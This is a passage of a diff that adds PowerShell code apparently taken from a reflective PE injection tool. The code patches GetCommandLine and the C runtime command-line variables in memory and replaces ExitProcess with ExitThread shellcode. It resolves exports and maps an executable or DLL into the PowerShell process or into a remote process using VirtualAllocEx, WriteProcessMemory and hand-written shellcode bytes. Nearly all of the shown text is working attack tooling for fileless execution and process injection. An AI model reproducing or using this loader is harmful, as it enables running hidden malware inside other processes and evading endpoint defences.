+ $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
2064
+ $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
2065
+
2066
+ [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
2067
+ [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
2068
+
2069
+ if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
2070
+ {
2071
+ throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
2072
+ }
2073
+
2074
+ #Prepare the shellcode
2075
+ [Byte[]]$Shellcode1 = @()
2076
+ if ($PtrSize -eq 8)
2077
+ {
2078
+ $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8
2079
+ }
2080
+ $Shellcode1 += 0xb8
2081
+
2082
+ [Byte[]]$Shellcode2 = @(0xc3)
2083
+ $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
2084
+
2085
+
2086
+ #Make copy of GetCommandLineA and GetCommandLineW
2087
+ $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
2088
+ $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
2089
+ $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
2090
+ $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
2091
+ $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
2092
+ $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
2093
+
2094
+ #Overwrite GetCommandLineA
2095
+ [UInt32]$OldProtectFlag = 0
2096
+ $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2097
+ if ($Success = $false)
2098
+ {
2099
+ throw "Call to VirtualProtect failed"
2100
+ }
2101
+
2102
+ $GetCommandLineAAddrTemp = $GetCommandLineAAddr
2103
+ Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
2104
+ $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
2105
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
2106
+ $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
2107
+ Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
2108
+
2109
+ $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2110
+
2111
+
2112
+ #Overwrite GetCommandLineW
2113
+ [UInt32]$OldProtectFlag = 0
2114
+ $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2115
+ if ($Success = $false)
2116
+ {
2117
+ throw "Call to VirtualProtect failed"
2118
+ }
2119
+
2120
+ $GetCommandLineWAddrTemp = $GetCommandLineWAddr
2121
+ Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
2122
+ $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
2123
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
2124
+ $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
2125
+ Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
2126
+
2127
+ $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2128
+ #################################################
2129
+
2130
+
2131
+ #################################################
2132
+ #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work.
2133
+ # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
2134
+ # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the
2135
+ # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.
2136
+ $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
2137
+ , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
2138
+
2139
+ foreach ($Dll in $DllList)
2140
+ {
2141
+ [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
2142
+ if ($DllHandle -ne [IntPtr]::Zero)
2143
+ {
2144
+ [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
2145
+ [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
2146
+ if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
2147
+ {
2148
+ "Error, couldn't find _wcmdln or _acmdln"
2149
+ }
2150
+
2151
+ $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
2152
+ $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
2153
+
2154
+ #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
2155
+ $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
2156
+ $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
2157
+ $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
2158
+ $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
2159
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
2160
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
2161
+ $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
2162
+ $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
2163
+
2164
+ $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2165
+ if ($Success = $false)
2166
+ {
2167
+ throw "Call to VirtualProtect failed"
2168
+ }
2169
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
2170
+ $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
2171
+
2172
+ $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2173
+ if ($Success = $false)
2174
+ {
2175
+ throw "Call to VirtualProtect failed"
2176
+ }
2177
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
2178
+ $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
2179
+ }
2180
+ }
2181
+ #################################################
2182
+
2183
+
2184
+ #################################################
2185
+ #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.
2186
+
2187
+ $ReturnArray = @()
2188
+ $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process
2189
+
2190
+ #CorExitProcess (compiled in to visual studio c++)
2191
+ [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
2192
+ if ($MscoreeHandle -eq [IntPtr]::Zero)
2193
+ {
2194
+ throw "mscoree handle null"
2195
+ }
2196
+ [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
2197
+ if ($CorExitProcessAddr -eq [IntPtr]::Zero)
2198
+ {
2199
+ Throw "CorExitProcess address not found"
2200
+ }
2201
+ $ExitFunctions += $CorExitProcessAddr
2202
+
2203
+ #ExitProcess (what non-managed programs use)
2204
+ [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
2205
+ if ($ExitProcessAddr -eq [IntPtr]::Zero)
2206
+ {
2207
+ Throw "ExitProcess address not found"
2208
+ }
2209
+ $ExitFunctions += $ExitProcessAddr
2210
+
2211
+ [UInt32]$OldProtectFlag = 0
2212
+ foreach ($ProcExitFunctionAddr in $ExitFunctions)
2213
+ {
2214
+ $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
2215
+ #The following is the shellcode (Shellcode: ExitThread.asm):
2216
+ #32bit shellcode
2217
+ [Byte[]]$Shellcode1 = @(0xbb)
2218
+ [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
2219
+ #64bit shellcode (Shellcode: ExitThread.asm)
2220
+ if ($PtrSize -eq 8)
2221
+ {
2222
+ [Byte[]]$Shellcode1 = @(0x48, 0xbb)
2223
+ [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
2224
+ }
2225
+ [Byte[]]$Shellcode3 = @(0xff, 0xd3)
2226
+ $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
2227
+
2228
+ [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
2229
+ if ($ExitThreadAddr -eq [IntPtr]::Zero)
2230
+ {
2231
+ Throw "ExitThread address not found"
2232
+ }
2233
+
2234
+ $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
2235
+ if ($Success -eq $false)
2236
+ {
2237
+ Throw "Call to VirtualProtect failed"
2238
+ }
2239
+
2240
+ #Make copy of original ExitProcess bytes
2241
+ $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
2242
+ $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
2243
+ $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
2244
+
2245
+ #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then
2246
+ # call ExitThread
2247
+ Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
2248
+ $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
2249
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
2250
+ $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
2251
+ Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
2252
+ $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
2253
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
2254
+ $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
2255
+ Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
2256
+
2257
+ $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2258
+ }
2259
+ #################################################
2260
+
2261
+ Write-Output $ReturnArray
2262
+ }
2263
+
2264
+
2265
+ #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
2266
+ # It copies Count bytes from Source to Destination.
2267
+ Function Copy-ArrayOfMemAddresses
2268
+ {
2269
+ Param(
2270
+ [Parameter(Position = 0, Mandatory = $true)]
2271
+ [Array[]]
2272
+ $CopyInfo,
2273
+
2274
+ [Parameter(Position = 1, Mandatory = $true)]
2275
+ [System.Object]
2276
+ $Win32Functions,
2277
+
2278
+ [Parameter(Position = 2, Mandatory = $true)]
2279
+ [System.Object]
2280
+ $Win32Constants
2281
+ )
2282
+
2283
+ [UInt32]$OldProtectFlag = 0
2284
+ foreach ($Info in $CopyInfo)
2285
+ {
2286
+ $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
2287
+ if ($Success -eq $false)
2288
+ {
2289
+ Throw "Call to VirtualProtect failed"
2290
+ }
2291
+
2292
+ $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
2293
+
2294
+ $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2295
+ }
2296
+ }
2297
+
2298
+
2299
+ #####################################
2300
+ ########## FUNCTIONS ###########
2301
+ #####################################
2302
+ Function Get-MemoryProcAddress
2303
+ {
2304
+ Param(
2305
+ [Parameter(Position = 0, Mandatory = $true)]
2306
+ [IntPtr]
2307
+ $PEHandle,
2308
+
2309
+ [Parameter(Position = 1, Mandatory = $true)]
2310
+ [String]
2311
+ $FunctionName
2312
+ )
2313
+
2314
+ $Win32Types = Get-Win32Types
2315
+ $Win32Constants = Get-Win32Constants
2316
+ $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2317
+
2318
+ #Get the export table
2319
+ if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
2320
+ {
2321
+ return [IntPtr]::Zero
2322
+ }
2323
+ $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
2324
+ $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
2325
+
2326
+ for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
2327
+ {
2328
+ #AddressOfNames is an array of pointers to strings of the names of the functions exported
2329
+ $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
2330
+ $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
2331
+ $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
2332
+
2333
+ if ($Name -ceq $FunctionName)
2334
+ {
2335
+ #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions
2336
+ # which contains the offset of the function in to the DLL
2337
+ $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
2338
+ $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
2339
+ $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
2340
+ $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
2341
+ return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
2342
+ }
2343
+ }
2344
+
2345
+ return [IntPtr]::Zero
2346
+ }
2347
+
2348
+
2349
+ Function Invoke-MemoryLoadLibrary
2350
+ {
2351
+ Param(
2352
+ [Parameter( Position = 0, Mandatory = $true )]
2353
+ [Byte[]]
2354
+ $PEBytes,
2355
+
2356
+ [Parameter(Position = 1, Mandatory = $false)]
2357
+ [String]
2358
+ $ExeArgs,
2359
+
2360
+ [Parameter(Position = 2, Mandatory = $false)]
2361
+ [IntPtr]
2362
+ $RemoteProcHandle,
2363
+
2364
+ [Parameter(Position = 3)]
2365
+ [Bool]
2366
+ $ForceASLR = $false
2367
+ )
2368
+
2369
+ $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
2370
+
2371
+ #Get Win32 constants and functions
2372
+ $Win32Constants = Get-Win32Constants
2373
+ $Win32Functions = Get-Win32Functions
2374
+ $Win32Types = Get-Win32Types
2375
+
2376
+ $RemoteLoading = $false
2377
+ if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
2378
+ {
2379
+ $RemoteLoading = $true
2380
+ }
2381
+
2382
+ #Get basic PE information
2383
+ Write-Verbose "Getting basic PE information from the file"
2384
+ $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
2385
+ $OriginalImageBase = $PEInfo.OriginalImageBase
2386
+ $NXCompatible = $true
2387
+ if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
2388
+ {
2389
+ Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
2390
+ $NXCompatible = $false
2391
+ }
2392
+
2393
+
2394
+ #Verify that the PE and the current process are the same bits (32bit or 64bit)
2395
+ $Process64Bit = $true
2396
+ if ($RemoteLoading -eq $true)
2397
+ {
2398
+ $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
2399
+ $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
2400
+ if ($Result -eq [IntPtr]::Zero)
2401
+ {
2402
+ Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
2403
+ }
2404
+
2405
+ [Bool]$Wow64Process = $false
2406
+ $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
2407
+ if ($Success -eq $false)
2408
+ {
2409
+ Throw "Call to IsWow64Process failed"
2410
+ }
2411
+
2412
+ if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
2413
+ {
2414
+ $Process64Bit = $false
2415
+ }
2416
+
2417
+ #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly
2418
+ $PowerShell64Bit = $true
2419
+ if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
2420
+ {
2421
+ $PowerShell64Bit = $false
2422
+ }
2423
+ if ($PowerShell64Bit -ne $Process64Bit)
2424
+ {
2425
+ throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
2426
+ }
2427
+ }
2428
+ else
2429
+ {
2430
+ if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
2431
+ {
2432
+ $Process64Bit = $false
2433
+ }
2434
+ }
2435
+ if ($Process64Bit -ne $PEInfo.PE64Bit)
2436
+ {
2437
+ Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
2438
+ }
2439
+
2440
+
2441
+ #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
2442
+ Write-Verbose "Allocating memory for the PE and write its headers to memory"
2443
+
2444
+ #ASLR check
2445
+ [IntPtr]$LoadAddr = [IntPtr]::Zero
2446
+ $PESupportsASLR = ($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
2447
+ if ((-not $ForceASLR) -and (-not $PESupportsASLR))
2448
+ {
2449
+ Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
2450
+ [IntPtr]$LoadAddr = $OriginalImageBase
2451
+ }
2452
+ elseif ($ForceASLR -and (-not $PESupportsASLR))
2453
+ {
2454
+ Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
2455
+ }
2456
+
2457
+ if ($ForceASLR -and $RemoteLoading)
2458
+ {
2459
+ Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
2460
+ }
2461
+ if ($RemoteLoading -and (-not $PESupportsASLR))
2462
+ {
2463
+ Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
2464
+ }
2465
+
2466
+ $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell
2467
+ $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
2468
+ if ($RemoteLoading -eq $true)
2469
+ {
2470
+ #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup
2471
+ $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
2472
+
2473
+ #todo, error handling needs to delete this memory if an error happens along the way
2474
+ $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
2475
+ if ($EffectivePEHandle -eq [IntPtr]::Zero)
2476
+ {
2477
+ Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
2478
+ }
2479
+ }
2480
+ else
2481
+ {
2482
+ if ($NXCompatible -eq $true)
2483
+ {
2484
+ $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
2485
+ }
2486
+ else
2487
+ {
2488
+ $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
2489
+ }
2490
+ $EffectivePEHandle = $PEHandle
2491
+ }
2492
+
2493
+ [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
2494
+ if ($PEHandle -eq [IntPtr]::Zero)
2495
+ {
2496
+ Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
2497
+ }
2498
+ [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
2499
+
2500
+
2501
+ #Now that the PE is in memory, get more detailed information about it
2502
+ Write-Verbose "Getting detailed PE information from the headers loaded in memory"
2503
+ $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2504
+ $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
2505
+ $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
2506
+ Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)"
2507
+
2508
+
2509
+ #Copy each section from the PE in to memory
2510
+ Write-Verbose "Copy PE sections in to memory"
2511
+ Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
2512
+
2513
+
2514
+ #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded
2515
+ Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
2516
+ Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
2517
+
2518
+
2519
+ #The PE we are in-memory loading has DLLs it needs, import those DLLs for it
2520
+ Write-Verbose "Import DLL's needed by the PE we are loading"
2521
+ if ($RemoteLoading -eq $true)
2522
+ {
2523
+ Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
2524
+ }
2525
+ else
2526
+ {
2527
+ Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
2528
+ }
2529
+
2530
+
2531
+ #Update the memory protection flags for all the memory just allocated
2532
+ if ($RemoteLoading -eq $false)
2533
+ {
2534
+ if ($NXCompatible -eq $true)
2535
+ {
2536
+ Write-Verbose "Update memory protection flags"
2537
+ Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
2538
+ }
2539
+ else
2540
+ {
2541
+ Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
2542
+ }
2543
+ }
2544
+ else
2545
+ {
2546
+ Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
2547
+ }
2548
+
2549
+
2550
+ #If remote loading, copy the DLL in to remote process memory
2551
+ if ($RemoteLoading -eq $true)
2552
+ {
2553
+ [UInt32]$NumBytesWritten = 0
2554
+ $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
2555
+ if ($Success -eq $false)
2556
+ {
2557
+ Throw "Unable to write shellcode to remote process memory."
2558
+ }
2559
+ }
2560
+
2561
+
2562
+ #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
2563
+ if ($PEInfo.FileType -ieq "DLL")
2564
+ {
2565
+ if ($RemoteLoading -eq $false)
2566
+ {
2567
+ Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
2568
+ $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2569
+ $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
2570
+ $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
2571
+
2572
+ $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
2573
+ }
2574
+ else
2575
+ {
2576
+ $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2577
+
2578
+ if ($PEInfo.PE64Bit -eq $true)
2579
+ {
2580
+ #Shellcode: CallDllMain.asm
2581
+ $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
2582
+ $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
2583
+ $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
2584
+ }
2585
+ else
2586
+ {
2587
+ #Shellcode: CallDllMain.asm
2588
+ $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
2589
+ $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
2590
